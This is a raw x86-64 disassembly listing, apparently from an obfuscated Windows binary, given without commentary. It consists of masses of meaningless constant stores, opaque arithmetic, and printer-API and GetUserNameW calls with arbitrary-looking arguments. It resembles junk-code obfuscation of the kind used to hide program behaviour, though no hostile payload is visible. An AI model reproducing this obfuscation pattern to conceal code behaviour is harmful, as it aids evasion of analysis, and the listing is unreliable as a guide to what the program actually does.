mov dword [rbp + 0x13d8], 0x3592a950
movabs rax, 0x14d2b52b796ac82a
mov qword [rbp + 0x1aba0], rax
movabs rax, 0x4649a10d645d7c70
mov qword [rbp + 0x1388], rax
movabs rax, 0x963dff7993b7ca1
mov qword [rbp + 0x1ab98], rax
mov dword [rbp + 0x136c], 0x738a883c
movabs rax, 0xe3037b0ba76b269b
mov qword [rbp + 0x1ab90], rax
mov byte [rbp + 0x131b], 0x12
mov word [rbp + 0x12dc], 0xaef
movabs rax, 0x1281efbbd9488c0e
mov qword [rbp + 0x1ab88], rax
mov dword [rbp + 0x126c], 0x28e3e4a8
mov word [rbp + 0x1ab86], 0x6d1
mov word [rbp + 0x1220], 0x444d
mov dword [rbp + 0x1218], 0xd93a37a
mov dword [rbp + 0x1ab80], 0x2b1be836
mov byte [rbp + 0x120d], 0x60
mov byte [rbp + 0x1ab7f], 0x7b
mov dword [rbp + 0x1ab78], 0xfd8ae2e7
mov dword [rbp + 0x11ec], 0x11b0d318
mov byte [rbp + 0x11d7], 0x82
movabs rax, 0x38805ed78fdecb35
mov qword [rbp + 0x11a0], rax
mov word [rbp + 0x1170], 0xa2b
mov word [rbp + 0x1ab76], 0x5ee5
movabs rax, 0x7f22e0322ced58d5
mov qword [rbp + 0x1150], rax
movabs rax, 0x2b76b35c8118f601
mov qword [rbp + 0x1140], rax
movabs rax, 0x53fd247cb37f152
mov qword [rbp + 0x1138], rax
movabs rax, 0xe8d92f37d1c8ad08
mov qword [rbp + 0x1ab68], rax
mov byte [rbp + 0x1105], 0xfb
mov dword [rbp + 0x10fc], 0x12d4ec3c
mov word [rbp + 0x1ab66], 0x93a
mov dword [rbp + 0x10ec], 0x74095ad9
mov byte [rbp + 0x1ab65], 0x5b
mov dword [rbp + 0x1ab60], 0xa6161bf1
mov byte [rbp + 0x10c7], 0x72
mov dword [rbp + 0x10a8], 0x439ca634
mov dword [rbp + 0x10a4], 0x7f7dbbbf
movabs rax, 0x3a0b5ce4f978c2f1
mov qword [rbp + 0x1ab58], rax
movabs rax, 0x1b3d1f372c138efc
mov qword [rbp + 0x1ab50], rax
movabs rax, 0x306e9e2d1464897a
mov qword [rbp + 0x1048], rax
mov byte [rbp + 0x1003], 0x1a
movabs rax, 0x35f95ae122d2318d
mov qword [rbp + 0xfe8], rax
mov word [rbp + 0x1ab4e], 0x2004
movabs rax, 0x31b6e9604357e20e
mov qword [rbp + 0x1ab40], rax
mov word [rbp + 0xfb6], 0x9b4
mov byte [rbp + 0xf85], 0x46
mov byte [rbp + 0xf84], 0x28
mov dword [rbp + 0x1ab3c], 0xf510fd42
mov byte [rbp + 0xf7f], 0x3d
movabs rax, 0x3e614ee5adbf6181
mov qword [rbp + 0xf60], rax
mov byte [rbp + 0xf47], 0x1d
mov word [rbp + 0x1ab3a], 0xcb5
mov dword [rbp + 0xf3c], 0xcbdaeaf3
movabs rax, 0x1d8456fa7ef4e5e2
mov qword [rbp + 0xef8], rax
movabs rax, 0x5e4a4795c240b6c3
mov qword [rbp + 0x1ab30], rax
movabs rax, 0x30fc87f9ad4928e4
mov qword [rbp + 0xeb0], rax
movabs rax, 0x7a158f1594ad8bdb
mov qword [rbp + 0xe98], rax
mov word [rbp + 0x1ab2e], 0x20ad
movabs rax, 0x1552b80efaa612b5
mov qword [rbp + 0xe60], rax
mov word [rbp + 0xe44], 0x1988
movabs rax, 0x4f766758a1f00b
mov qword [rbp + 0x1ab20], rax
mov word [rbp + 0xd9a], 0xe96
mov dword [rbp + 0xd4c], 0x48ca2d04
mov dword [rbp + 0x1ab1c], 0x87d3dd3
movabs rax, 0x5706299133776d82
mov qword [rbp + 0xd18], rax
mov byte [rbp + 0x1ab1b], 0xd
movabs rax, 0x446e4812ee662a0d
mov qword [rbp + 0x1ab10], rax
mov byte [rbp + 0xccf], 0x44
mov word [rbp + 0xccc], 0x4858
movabs rax, 0x18e1a4692b98b7ae
mov qword [rbp + 0xca8], rax
mov dword [rbp + 0x1ab0c], 0xdd988ed
mov word [rbp + 0xc46], 0x1883
mov byte [rbp + 0x1ab0b], 0x33
mov byte [rbp + 0xc34], 0x50
movabs rax, 0x746e773ea3833f6c
mov qword [rbp + 0xad8], rax
mov word [rbp + 0x1ab08], 0xae8
mov byte [rbp + 0x1ab07], 0x1b
mov word [rbp + 0xab6], 0x4e89
movabs rax, 0x566c79811191bac
mov qword [rbp + 0x1aaf8], rax
mov dword [rbp + 0x1aaf4], 0x32ec53d8
mov dword [rbp + 0xaa4], 0x51ec431c
mov word [rbp + 0xa8e], 0x78c
mov dword [rbp + 0x1aaf0], 0x6b98b428
mov byte [rbp + 0x1aaef], 0x23
movabs rax, 0x48d02db541cb6591
mov qword [rbp + 0xa30], rax
mov word [rbp + 0xa1c], 0x300c
movabs rax, 0xa79664028e7ded9
mov qword [rbp + 0x1aae0], rax
mov byte [rbp + 0x9f3], 0xcb
mov word [rbp + 0x9de], 0x88a
mov byte [rbp + 0x1aadf], 0x64
mov word [rbp + 0x1aadc], 0x7735
movabs rax, 0x55be3141e2504e78
mov qword [rbp + 0x1aad0], rax
mov byte [rbp + 0x1aacf], 0x1d
mov word [rbp + 0x9a6], 0x269
mov byte [rbp + 0x9a5], 0x43
mov word [rbp + 0x9a2], 0x3370
movabs rax, 0xa2663476ce3c4353
mov qword [rbp + 0x998], rax
movabs rax, 0x72b255b90dd57a71
mov qword [rbp + 0x1aac0], rax
movabs rax, 0x9ac019a70ba73454
mov qword [rbp + 0x1aab8], rax
movabs rax, 0x55bed40d5dd2e2ab
mov qword [rbp + 0x980], rax
movabs rax, 0x4536ce7f190a7d4e
mov qword [rbp + 0x1aab0], rax
mov dword [rbp + 0x974], 0x577f377d
mov byte [rbp + 0x957], 0x52
mov word [rbp + 0x1aaae], 0x6038
movabs rax, 0x7dc5eb2f6112b0ae
mov qword [rbp + 0x8a0], rax
mov word [rbp + 0x1aaac], 0x4cb
mov dword [rbp + 0x894], 0xff7a18de
mov dword [rbp + 0x1aaa8], 0x69489e37
mov byte [rbp + 0x87b], 0xf7
mov word [rbp + 0x866], 0x90a
mov word [rbp + 0x1aaa6], 0x952
mov word [rbp + 0x1aaa4], 0x85e
mov dword [rbp + 0x1aaa0], 0x47d7f8db
mov byte [rbp + 0x82f], 0x52
mov word [rbp + 0x82a], 0xfbb
mov word [rbp + 0x1aa9e], 0x3ef6
mov byte [rbp + 0x817], 0x9a
mov word [rbp + 0x1aa9c], 0x71ac
mov word [rbp + 0x1aa9a], 0x2cc7
mov word [rbp + 0x1aa98], 0x3f
mov word [rbp + 0x7fa], 0x385
mov word [rbp + 0x1aa96], 0xc91
movabs rax, 0x769de276e460677
mov qword [rbp + 0x7e8], rax
mov byte [rbp + 0x7d6], 0xf5
mov dword [rbp + 0x7d0], 0x59733d13
movabs rax, 0xf0e24c1ecbf32bc1
mov qword [rbp + 0x7a0], rax
movabs rax, 0x6e2d1410739fb712
mov qword [rbp + 0x790], rax
mov dword [rbp + 0x1aa90], 0x47b8719f
movabs rax, 0xec61802e9b72ad07
mov qword [rbp + 0x750], rax
mov byte [rbp + 0x733], 0x4a
mov dword [rbp + 0x1aa8c], 0x656d821a
mov word [rbp + 0x1aa8a], 0x3936
mov word [rbp + 0x676], 0x5f4
mov dword [rbp + 0x1aa84], 0x44f5e91b
mov byte [rbp + 0x637], 0xa
movabs rax, 0x4b9b37d84135828
mov qword [rbp + 0x618], rax
mov word [rbp + 0x1aa82], 0x7ed5
mov dword [rbp + 0x568], 0x989081d9
mov dword [rbp + 0x1aa7c], 0x579225b5
movabs rax, 0x3a4210f0b89f9217
mov qword [rbp + 0x538], rax
movabs rax, 0x464570436d2fb180
mov qword [rbp + 0x1aa70], rax
movabs rax, 0x2be7c12b8a8d6c51
mov qword [rbp + 0x1aa68], rax
mov word [rbp + 0x4ce], 0x4b8b
mov dword [rbp + 0x4c8], 0x79e67bd5
mov word [rbp + 0x4c4], 0x2803
mov dword [rbp + 0x1aa64], 0xc911fbca
mov byte [rbp + 0x4b9], 0x83
movabs rax, 0x21b1d1ca1965bb1d
mov qword [rbp + 0x1aa58], rax
movabs rax, 0x489755d0d53a4401
mov qword [rbp + 0x448], rax
mov byte [rbp + 0x1aa57], 0x15
mov word [rbp + 0x424], 0x126
mov dword [rbp + 0x414], 0x5a682a35
mov byte [rbp + 0x1aa56], 0xda
mov dword [rbp + 0x1aa50], 0x41bf4f6a
mov dword [rbp + 0x1aa4c], 0x27c5663b
mov word [rbp + 0x3e2], 0x4e1
mov byte [rbp + 0x1aa4b], 0x83
mov dword [rbp + 0x37c], 0xbff8c214
mov word [rbp + 0x1aa48], 0xb09
movabs rax, 0x4df796d1fc9555d1
mov qword [rbp + 0x368], rax
mov word [rbp + 0x364], 0x1033
mov byte [rbp + 0x1aa47], 0x74
mov byte [rbp + 0x32d], 0xe8
movabs rax, 0x8da4d3c5b74fac83
mov qword [rbp + 0x1aa38], rax
mov dword [rbp + 0x2fc], 0x84f45478
mov dword [rbp + 0x2f0], 0x31982319
mov byte [rbp + 0x1aa37], 0x75
mov word [rbp + 0x1aa34], 0x6e44
mov word [rbp + 0x2b6], 0x412e
movabs rax, 0x18a1d8bfef6d36fc
mov qword [rbp + 0x2a8], rax
mov dword [rbp + 0x29c], 0x7f257ccd
movabs rax, 0x70eba67ea31fe6f6
mov qword [rbp + 0x278], rax
mov word [rbp + 0x240], 0xb25
movabs rax, 0x3e1ebc0478c6c004
mov qword [rbp + 0x230], rax
mov word [rbp + 0x1fa], 0x4d1
mov byte [rbp + 0x1f7], 0x3d
movabs rax, 0x2af7bd82dd8522ee
mov qword [rbp + 0x1e8], rax
mov dword [rbp + 0x1cc], 0xee2db3b
mov byte [rbp + 0x1aa33], 0x43
mov byte [rbp + 0x1aa32], 0x91
mov word [rbp + 0x150], 0x52ab
mov byte [rbp + 0x14e], 0x5b
mov word [rbp + 0x14c], 0xf29
mov byte [rbp + 0x14b], 0x2d
mov byte [rbp + 0x13b], 0x54
mov word [rbp + 0x126], 0x1a75
movabs rax, 0x407fac2fcaa82662
mov qword [rbp + 0xf0], rax
mov byte [rbp + 0x1aa31], 0xd5
mov dword [rbp + 0x20], 0x291e29e2
mov dword [rbp + 0x1aa2c], 0xf8d3971
movabs rax, 0xdd5f7bf8a7c4b563
mov qword [rbp + 0x840], rax
movzx eax, byte [rbp + 0x3f13]
sub eax, 0x38
mov byte [rbp + 0x3f13], al
movzx eax, byte [rbp + 0x3f13]
cmp al, 0xb4
ja 0x1400fd63d
mov rdx, qword [rbp + 0x840]
movabs rax, 0xe3c42468c09c9f37
cmp rdx, rax
je 0x1400033e7
movzx eax, byte [rbp + 0x3f13]
cmp al, 0xc9
jne 0x1400033e7
lea rdx, [rbp + 0x2d68]
mov rax, qword [rbp + 0x1aa20]
mov dword [rsp + 0x20], 0xab
mov r9, rdx
mov r8d, 0xf9
mov edx, 0x61
mov rcx, rax
call sub.WINSPOOL.DRV_SetJobW
mov dword [rbp + 0x1aa1c], eax
mov r8d, 0x25
mov edx, 0xac
mov ecx, 0x1a
call fcn.1400fd6ca
mov dword [rbp + 0x1b070], 0x4d38
mov rax, qword [rbp + 0x840]
movabs rdx, 0x1a2b5007cedbf06
cmp rdx, rax
jb 0x140003490
mov rax, qword [rbp + 0x840]
movabs rdx, 0x51d59eff549a345e
or rax, rdx
mov qword [rbp + 0x840], rax
mov rdx, qword [rbp + 0x1238]
mov rax, qword [rbp + 0x4b80]
lea rcx, [rbp + 0x4b80]
mov r9, rcx
mov r8d, 0x82
mov rcx, rax
call sub.WINSPOOL.DRV_SetFormW
mov dword [rbp + 0x1aa18], eax
mov rdx, qword [rbp + 0x840]
movabs rax, 0xbc126af8764288a8
cmp rdx, rax
jne 0x14000347a
movzx eax, byte [rbp + 0x3f13]
xor eax, 0xffffffc3
mov byte [rbp + 0x3f13], al
jmp 0x140003490
mov r8d, 0xb4
mov edx, 0xba
mov ecx, 0x5e
call fcn.1400fddf7
nop
mov dword [rbp + 0x1b044], 0xd9a3
mov rax, qword [rbp + 0x840]
shr rax, 0x1f
mov qword [rbp + 0x840], rax
movzx eax, byte [rbp + 0x3f13]
shl eax, 6
mov byte [rbp + 0x3f13], al
movzx eax, byte [rbp + 0x3f13]
sub eax, 0x6e
mov byte [rbp + 0x3f13], al
sub dword [rbp + 0x1b044], 0xf1
movzx eax, byte [rbp + 0x3f13]
add eax, 0x46
mov byte [rbp + 0x3f13], al
mov rax, qword [rbp + 0x840]
movabs rdx, 0xb00bc31cf8f729e2
and rax, rdx
mov qword [rbp + 0x840], rax
mov rax, qword [rbp + 0x840]
movabs rdx, 0x50a60d45d36db9b9
add rax, rdx
mov qword [rbp + 0x840], rax
movzx eax, byte [rbp + 0x3f13]
add eax, 0x4d
mov byte [rbp + 0x3f13], al
movzx eax, byte [rbp + 0x3f13]
sub eax, 0x4a
mov byte [rbp + 0x3f13], al
mov rax, qword [rbp + 0x840]
movabs rdx, 0x115f5f265521c6eb
add rax, rdx
mov qword [rbp + 0x840], rax
movzx eax, byte [rbp + 0x3f13]
xor eax, 0xffffffde
mov byte [rbp + 0x3f13], al
mov rax, qword [rbp + 0x840]
shl rax, 0x33
mov qword [rbp + 0x840], rax
mov rax, qword [rbp + 0x840]
shr rax, 0x32
mov qword [rbp + 0x840], rax
movzx eax, byte [rbp + 0x3f13]
or eax, 0xffffffcf
mov byte [rbp + 0x3f13], al
movzx eax, byte [rbp + 0x3f13]
and eax, 0xffffffa4
mov byte [rbp + 0x3f13], al
movzx eax, byte [rbp + 0x3f13]
sub eax, 0x4f
mov byte [rbp + 0x3f13], al
mov rax, qword [rbp + 0x840]
movabs rdx, 0x83607ccaee2ff935
add rax, rdx
mov qword [rbp + 0x840], rax
movzx eax, byte [rbp + 0x3f13]
add eax, 0x5e
mov byte [rbp + 0x3f13], al
movzx eax, byte [rbp + 0x3f13]
sub eax, 0x47
mov byte [rbp + 0x3f13], al
mov rax, qword [rbp + 0x840]
movabs rdx, 0xd69df1f9548a7b6a
and rax, rdx
mov qword [rbp + 0x840], rax
mov rax, qword [rbp + 0x840]
movabs rdx, 0x5f8b4afcc175d846
add rax, rdx
mov qword [rbp + 0x840], rax
movzx eax, byte [rbp + 0x3f13]
sub eax, 0x71
mov byte [rbp + 0x3f13], al
mov rax, qword [rbp + 0x840]
movabs rdx, 0xcc11cf5d259d9734
add rax, rdx
mov qword [rbp + 0x840], rax
mov rax, qword [rbp + 0x840]
movabs rdx, 0xac6a0fa7469be1ba
add rax, rdx
mov qword [rbp + 0x840], rax
cmp dword [rbp + 0x1b044], 0x8306
ja 0x14000349a
mov rax, qword [rbp + 0x840]
mov rdx, 0xffffffffad800bc4
mov ecx, edx
shl rax, cl
movabs rdx, 0xd6ddd1d117152626
cmp rdx, rax
jb 0x140003795
mov rax, qword [rbp + 0x840]
mov edx, 0x60740de8
mov ecx, edx
shr rax, cl
movabs rdx, 0x77a6c67a8d2c5442
cmp rdx, rax
jae 0x140003768
movzx eax, byte [rbp + 0x3f13]
xor eax, 0x52
mov byte [rbp + 0x3f13], al
lea rcx, [rbp + 0x2d68]
mov rax, qword [rbp + 0x1aa10]
lea rdx, [rbp + 0x330]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp + 0x840]
mov qword [rsp + 0x20], rdx
mov r9d, 0x9f
mov r8, rcx
mov edx, 0xc9
mov rcx, rax
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rbp + 0x3a58], eax
movzx eax, byte [rbp + 0x3f13]
and eax, 0x6e
mov byte [rbp + 0x3f13], al
lea rdx, [rbp + 0x330]
mov rax, qword [rbp + 0x1aa20]
mov r9d, 0x64
mov r8, rdx
mov edx, 0x48
mov rcx, rax
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rbp + 0xd8], eax
movzx eax, byte [rbp + 0x3f13]
sub eax, 0x18
mov byte [rbp + 0x3f13], al
mov word [rbp + 0xee4], 0x1b
lea rax, [rbp + 0x3f13]
mov qword [rbp + 0x4d98], rax
mov dword [rbp + 0x1af8c], 0xf352
mov byte [rbp + 0x4afb], 0x54
jmp 0x1400038a4
movzx eax, byte [rbp + 0x4afb]
cmp al, 0x19
je 0x1400038a4
mov rax, qword [rbp + 0x4d98]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x3f13]
mov rax, qword [rbp + 0x4d98]
add edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x1aa20]
lea rdx, [rbp + 0x3a58]
mov qword [rsp + 0x38], rdx
lea rdx, [rbp + 0x7e0]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0xf6
lea rdx, [rbp + 0x4afb]
mov qword [rsp + 0x20], rdx
mov r9d, 0xa1
mov r8d, 0xae
mov edx, 0xc0
mov rcx, rax
call sub.WINSPOOL.DRV_EnumJobsW
mov dword [rbp + 0x1aa1c], eax
movzx edx, byte [rbp + 0x3f13]
mov rax, qword [rbp + 0x4d98]
sub edx, 0x28
mov byte [rax], dl
mov r8, qword [rbp + 0x1238]
mov rdx, qword [rbp + 0x7e0]
mov rax, qword [rbp + 0x3d50]
lea r9, [rbp + 0x3f13]
lea rcx, [rbp + 0x3f13]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x36
lea rcx, [rbp + 0xd8]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sub.WINSPOOL.DRV_GetPrinterDataExW
mov dword [rbp + 0x1200], eax
mov rax, qword [rbp + 0x4d98]
movzx eax, byte [rax]
sub eax, 4
mov byte [rbp + 0x3f13], al
movzx edx, byte [rbp + 0x3f13]
mov rax, qword [rbp + 0x4d98]
add edx, 0x79
mov byte [rax], dl
mov rax, qword [rbp + 0x840]
mov rcx, rax
call fcn.1400fe14c
mov rax, qword [rbp + 0x840]
movabs rdx, 0x1433402d3dfe0a6f
cmp rdx, rax
jae 0x1400039dd
movzx eax, byte [rbp + 0x3f13]
movzx eax, al
cmp eax, 0x59
je 0x140003910
cmp eax, 0xdb
jne 0x1400039c5
lea rax, [rbp + 0x1200]
mov qword [rbp + 0x1af68], rax
mov dword [rbp + 0x1af98], 0x52b8
movzx eax, byte [rbp + 0x3f13]
mov byte [rbp + 0x20b6], al
lea rax, [rbp + 0xee4]
mov qword [rbp + 0x1558], rax
jmp 0x1400039c5
mov rdx, qword [rbp + 0x7e0]
mov rax, qword [rbp + 0x4b80]
mov r8, qword [rbp + 0x1aa08]
mov dword [rsp + 0x28], 0x39
lea rcx, [rbp + 0x4d98]
mov qword [rsp + 0x20], rcx
mov r9d, 0x51
mov rcx, rax
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rbp + 0xa6c], eax
movzx edx, word [rbp + 0xee4]
mov rax, qword [rbp + 0x1558]
and dx, 0x1b6
mov word [rax], dx
movzx eax, byte [rbp + 0x4afb]
sub eax, 0x14
mov byte [rbp + 0x4afb], al
mov rdx, qword [rbp + 0x330]
mov r8, qword [rbp + 0x1aa08]
mov rax, qword [rbp + 0x1aa20]
lea rcx, [rbp + 0x840]
mov qword [rsp + 0x20], rcx
mov r9d, 0xdb
mov rcx, rax
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rbp + 0x1bc8], eax
mov rax, qword [rbp + 0x4d98]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x3f13]
mov rax, qword [rbp + 0x4d98]
add edx, ecx
mov byte [rax], dl
nop
lea rax, [rbp + 0x840]
mov qword [rbp + 0x33b8], rax
mov dword [rbp + 0x1b064], 0x708d
mov eax, dword [rbp + 0x1bc8]
cmp eax, 0x9e81cb6a
jne 0x140003ab0
movzx edx, byte [rbp + 0x20b6]
movzx ecx, byte [rbp + 0x3f13]
mov rax, qword [rbp + 0x4d98]
sub edx, ecx
mov byte [rax], dl
movzx eax, byte [rbp + 0x4afb]
or eax, 0x6e
mov byte [rbp + 0x4afb], al
mov rdx, qword [rbp + 0x330]
lea r8, [rbp + 0x4afb]
mov rax, qword [rbp + 0x1aa00]
lea rcx, [rbp + 0x840]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0xf8
mov r9, r8
mov r8d, 0x19
mov rcx, rax
call sub.WINSPOOL.DRV_GetFormW
mov dword [rbp + 0x1aa18], eax
mov rdx, qword [rbp + 0x840]
mov rax, qword [rbp + 0x33b8]
shr rdx, 0x3f
mov qword [rax], rdx
movzx eax, byte [rbp + 0x4afb]
movsx ecx, al
movzx eax, byte [rbp + 0x4afb]
movsx r9d, al
movzx eax, byte [rbp + 0x4afb]
movsx r8d, al
movzx eax, byte [rbp + 0x4afb]
movsx edx, al
movzx eax, byte [rbp + 0x4afb]
movsx eax, al
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.1400fd7d7
jmp 0x1400fd5ed
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x1b
je 0x140003b16
cmp eax, 0xe1e
jne 0x1400fd4f8
lea rcx, [rbp + 0x840]
mov rax, qword [rbp + 0x1aa20]
lea rdx, [rbp + 0x2d68]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], 0xaa
mov r9, rcx
mov r8d, 0x76
mov edx, 8
mov rcx, rax
call sub.WINSPOOL.DRV_GetJobW
mov dword [rbp + 0x1aa1c], eax
call fcn.1400fdbea
jmp 0x1400fd4f8
nop
mov rax, qword [rbp + 0x33b8]
mov rax, qword [rax]
movabs rdx, 0x4d85748fe7c60933
add rax, rdx
mov qword [rbp + 0x840], rax
mov edx, dword [rbp + 0xa6c]
mov eax, dword [rbp + 0x1200]
sub edx, eax
mov rax, qword [rbp + 0x1af68]
mov dword [rax], edx
mov edx, dword [rbp + 0xa6c]
mov eax, dword [rbp + 0x1200]
add edx, eax
mov rax, qword [rbp + 0x1af68]
mov dword [rax], edx
mov rax, qword [rbp + 0x4d98]
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x3f13]
mov rax, qword [rbp + 0x4d98]
sub edx, ecx
mov byte [rax], dl
movzx eax, byte [rbp + 0x4afb]
add eax, 0x4c
mov byte [rbp + 0x4afb], al
movzx eax, byte [rbp + 0x4afb]
and eax, 2
mov byte [rbp + 0x4afb], al
mov rax, qword [rbp + 0x4d98]
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x20b6]
mov rax, qword [rbp + 0x4d98]
sub edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0xee4]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x1558]
mov word [rax], dx
mov rax, qword [rbp + 0x1af68]
mov eax, dword [rax]
mov dword [rbp + 0x1bc8], eax
mov eax, dword [rbp + 0x1bc8]
mov dword [rbp + 0x1200], eax
mov rax, qword [rbp + 0x33b8]
mov rax, qword [rax]
movabs rdx, 0x5bd386a84e3dd005
xor rax, rdx
mov qword [rbp + 0x840], rax
movzx eax, byte [rbp + 0x3f13]
movzx edx, al
mov rax, qword [rbp + 0x4d98]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [rbp + 0x20b6], al
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
or ax, 0x1d4
mov word [rbp + 0xee4], ax
mov rax, qword [rbp + 0x1558]
movzx ecx, word [rax]
movzx edx, word [rbp + 0xee4]
mov rax, qword [rbp + 0x1558]
add edx, ecx
mov word [rax], dx
sub dword [rbp + 0x1af98], 0x57
mov rax, qword [rbp + 0x1558]
movzx ecx, word [rax]
movzx edx, word [rbp + 0xee4]
mov rax, qword [rbp + 0x1558]
and edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x4d98]
movzx eax, byte [rax]
movzx edx, byte [rbp + 0x3f13]
sub eax, edx
mov byte [rbp + 0x20b6], al
mov edx, dword [rbp + 0xa6c]
mov eax, dword [rbp + 0x1200]
add eax, edx
mov dword [rbp + 0x1bc8], eax
movzx edx, byte [rbp + 0x20b6]
movzx ecx, byte [rbp + 0x3f13]
mov rax, qword [rbp + 0x4d98]
sub edx, ecx
mov byte [rax], dl
movzx ecx, byte [rbp + 0x3f13]
movzx edx, byte [rbp + 0x20b6]
mov rax, qword [rbp + 0x4d98]
add edx, ecx
mov byte [rax], dl
mov rdx, qword [rbp + 0x840]
mov rax, qword [rbp + 0x33b8]
movabs rcx, 0x2ea1a0802940b7ec
add rdx, rcx
mov qword [rax], rdx
movzx edx, byte [rbp + 0x20b6]
movzx ecx, byte [rbp + 0x3f13]
mov rax, qword [rbp + 0x4d98]
sub edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
add ax, 0x2a4
mov word [rbp + 0xee4], ax
mov rax, qword [rbp + 0x4d98]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3f13]
and eax, edx
mov byte [rbp + 0x20b6], al
mov rax, qword [rbp + 0x4d98]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3f13]
or eax, edx
mov byte [rbp + 0x20b6], al
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
xor ax, 0xbd9
mov word [rbp + 0xee4], ax
mov rax, qword [rbp + 0x33b8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x840]
mov ecx, eax
mov rax, qword [rbp + 0x33b8]
shl rdx, cl
mov qword [rax], rdx
mov rax, qword [rbp + 0x33b8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x840]
mov ecx, eax
mov rax, qword [rbp + 0x33b8]
shr rdx, cl
mov qword [rax], rdx
mov edx, dword [rbp + 0x1200]
mov eax, dword [rbp + 0x1bc8]
sub edx, eax
mov rax, qword [rbp + 0x1af68]
mov dword [rax], edx
mov rdx, qword [rbp + 0x840]
mov rax, qword [rbp + 0x33b8]
movabs rcx, 0xe557ce2207bb53dd
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x4d98]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x20b6]
mov rax, qword [rbp + 0x4d98]
and edx, ecx
mov byte [rax], dl
movzx eax, byte [rbp + 0x4afb]
sub eax, 0x1c
mov byte [rbp + 0x4afb], al
movzx ecx, byte [rbp + 0x3f13]
movzx edx, byte [rbp + 0x20b6]
mov rax, qword [rbp + 0x4d98]
add edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x4d98]
movzx eax, byte [rax]
movzx edx, byte [rbp + 0x3f13]
sub eax, edx
mov byte [rbp + 0x20b6], al
mov rax, qword [rbp + 0x4d98]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x20b6]
mov rax, qword [rbp + 0x4d98]
add edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x33b8]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x840]
mov rax, qword [rbp + 0x33b8]
sub rcx, rdx
mov qword [rax], rcx
cmp dword [rbp + 0x1af98], 0x393b
ja 0x140003b15
mov rax, qword [rbp + 0x840]
movabs rdx, 0xbf419a67059abb86
add rdx, rax
mov rax, qword [rbp + 0x33b8]
mov rax, qword [rax]
cmp rdx, rax
je 0x140003fb5
mov eax, dword [rbp + 0x1bc8]
cmp eax, 0x30301e8
je 0x140003f62
cmp eax, 0xa96a9ad8
jne 0x140004037
mov rax, qword [rbp + 0x4d98]
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x3f13]
mov rax, qword [rbp + 0x4d98]
sub edx, ecx
mov byte [rax], dl
mov r8, qword [rbp + 0x1238]
mov rdx, qword [rbp + 0x4f38]
mov rax, qword [rbp + 0x988]
lea r9, [rbp + 0x1558]
lea rcx, [rbp + 0xd8]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0xa7
lea rcx, [rbp + 0x4d98]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sub.WINSPOOL.DRV_GetPrinterDataExW
mov dword [rbp + 0x1bc8], eax
mov edx, dword [rbp + 0x1200]
mov eax, dword [rbp + 0xa6c]
sub edx, eax
mov dword [rbp + 0x1bc8], edx
jmp 0x140004037
mov rax, qword [rbp + 0x1af68]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1bc8]
or edx, eax
mov rax, qword [rbp + 0x1af68]
mov dword [rax], edx
mov rax, qword [rbp + 0x4f38]
lea rdx, [rbp + 0xee4]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetUserNameW]
call rax
mov dword [rbp + 0x1aa18], eax
movzx edx, word [rbp + 0xee4]
mov rax, qword [rbp + 0x1558]
shl edx, 8
mov word [rax], dx
jmp 0x140004037
movzx eax, byte [rbp + 0x4afb]
cmp al, 0x24
jle 0x140004037
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
xor ax, 0x88b
mov word [rbp + 0xee4], ax
mov rax, qword [rbp + 0x4f38]
lea rdx, [rbp + 0x1238]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetUserNameW]
call rax
mov dword [rbp + 0x1a9fc], eax
mov rax, qword [rbp + 0x4d98]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x3f13]
movzx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x4d98]
mov byte [rax], dl
mov rax, qword [rbp + 0x4d98]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3f13]
and eax, edx
mov byte [rbp + 0x20b6], al
call fcn.1400fdbea
movzx eax, word [rbp + 0xee4]
movzx eax, ax
cmp eax, 0xd95
jne 0x140004097
lea rax, [rbp + 0x1bc8]
mov qword [rbp + 0x3048], rax
mov dword [rbp + 0x1b01c], 0xecbc
mov dword [rbp + 0x3fac], 0x39667edf
mov rax, qword [rbp + 0x840]
mov qword [rbp + 0x24a8], rax
